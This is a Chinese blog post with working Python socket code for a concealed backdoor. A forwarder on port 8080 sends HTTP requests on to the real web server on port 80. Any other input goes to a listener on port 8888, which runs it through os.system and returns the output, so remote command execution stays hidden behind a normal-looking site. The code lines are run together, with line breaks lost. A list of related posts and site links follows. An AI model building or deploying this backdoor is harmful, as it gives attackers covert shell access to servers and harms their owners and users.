python基于socket进行端口转发实现后门隐藏

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import osHOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)while True:print("waiting for connection...")tcpCliSock,addr = tcpSerSock.accept()print("...connected from:",addr)while True:data=tcpCliSock.recv(BUFSIZE)if not data:breakinfo = data.split('\n')command = info[0]try:os.system(command + " > command.txt");file = open('command.txt')data =""for line in file:data=data+line;tcpCliSock.send(data)except Exception:tcpCliSock.send("Nothing to do")tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *tcp1 = socket(AF_INET,SOCK_STREAM)tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:data = tcpCliSock.recv(BUFFER_SIZE)if 'HTTP' in data:tcp3 = socket(AF_INET,SOCK_STREAM)tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp3.connect(('127.0.0.1',80))tcp3.send(data)htmlinfo = tcp3.recv(2048)if not htmlinfo:tcp3.close()else:tcpCliSock.send(htmlinfo)else:tcp2 = socket(AF_INET,SOCK_STREAM)tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)tcp2.connect(('127.0.0.1',8888))data = data.replace("\n"," ")print datatcp2.send(data)commandinfo = tcp2.recv(1024)tcpCliSock.send(commandinfo)tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

python基于socket进行端口转发实现后门隐藏相关推荐

  1. python中用socket检测端口_python基于socket函数实现端口扫描

    本文实例为大家分享了python基于socket实现端口扫描的具体代码,供大家参考,具体内容如下 自学Python一段时间,写个端口扫描器练练手.有什么不足之处,请见谅 这是基于socket函数对端口 ...

  2. 基于python的tcp的端口转发程序

    基于python的socket套接字,对tcp数据包进行转发 import socket def main():s = socket.socket()# 本机ip地址和接收端口host = '10.1 ...

  3. linux端口转发到windows,Linux及Windows基于工具的端口转发

    Linux及Windows基于工具和命令的端口转发配置 wget http://www.boutell.com/rinetd/http/rinetd.tar.gz&&tar -xvf ...

  4. Python基于socket实现的TCP服务端

    ''' 基于socket实现的TCP服务端 '''import socket # 建立socket对象 server_socket=socket.socket(socket.AF_INET,socke ...

  5. Python基于socket实现的TCP客户端

    ''' 基于socket实现的TCP客户端 '''import socket# 建立socket对象 # 参数一表示IP地址类型(AF_INET为IPV4,AF_INET6为IPV6),参数二表示连接 ...

  6. Python基于socket实现的多任务版TCP服务端

    ''' 基于socket实现的多任务版TCP服务端 ''' import socket import threadingdef client_task(client_socket,ip_port):p ...

  7. Python 基于 Socket 实现群聊

    互联网时代,怎么能不懂点网络编程?套接字(Sockets)是双向通信信道的端点,本文详细介绍了使用Socket实现类似微信群聊的功能,快进来一起学习下吧! 1.前言 套接字(Sockets)是双向通信 ...

  8. 使用python基于socket的tcp服务器聊天室

    # coding=utf-8 import socket,threading,time '''代码说明:1.创建一个字典用于接受客户端的用户名和信息2.创建一个类对象client用于编写客户端套接字对 ...

  9. Python基于Socket实现群聊

    作者:huny https://www.cnblogs.com/huny/p/14051152.html 1. 前言 套接字(Sockets)是双向通信信道的端点.套接字可以在一个进程内,在同一机器上 ...

最新文章

  1. js在线压缩工具 支持Base62 encode 和 Shrink variables
  2. DDD:群里关于验证的结论
  3. git 获取远程分支到本地_如何将git本地仓库上传到远程仓库?
  4. JSP response request 中文乱码
  5. gdb调试命令的使用及总结
  6. vscode使用php调试
  7. java swing 模拟发牌_用java设计一个发牌程序
  8. 清华大学开始招收高二学生,数学天赋是最重要的入围条件
  9. oracle 中表变量的用法,oracle 表类型变量的使用
  10. Bailian4102 宠物小精灵之收服【模拟】
  11. 异常连接导致的内存泄漏排查
  12. 新代系统PLC编程软件 新代PLC编程软件中文版梯形图
  13. PTA 7-6 2048游戏模拟(1)--单行向左移动叠加
  14. WizTree v4.03 最快的磁盘空间分析工具中文便携版
  15. Android 基础篇之环境配置
  16. 调用国家气象局天气接口
  17. 电气成套设备远程监控应用
  18. 如何将eps/wind数据库里的数据变为stata要求的面板数据以及报错处理\改变数据类型(recast)
  19. python爬取豆瓣电影top250并保存为xlsx_python 爬虫获取豆瓣电影排行榜前250并写入excel...
  20. 2020年精彩文章回顾

热门文章

  1. 虎牙发布直播行业首个技术开放平台 三年十亿打造开放生态
  2. 深圳软件测试培训:测试中常见移动端基础知识
  3. xp访问win10计算机名,win10共享打印机给xp凭证问题_xp连接win10打印机凭证不足解决方法...
  4. 如何做软件项目的需求分析....
  5. MySQL行转列函数
  6. Camera2倒计时拍摄和闪光灯
  7. 华硕W519L(win10系统)安装黑苹果全过程(几乎完美,已洗白)
  8. 基于ODBC的MFC与sql_server2008r2连接教程和错误解决方法
  9. java中的for语句格式_Java中foreach循环语句的格式可以写成(        )。
  10. Pandas数据处理误区要知其然知其所以然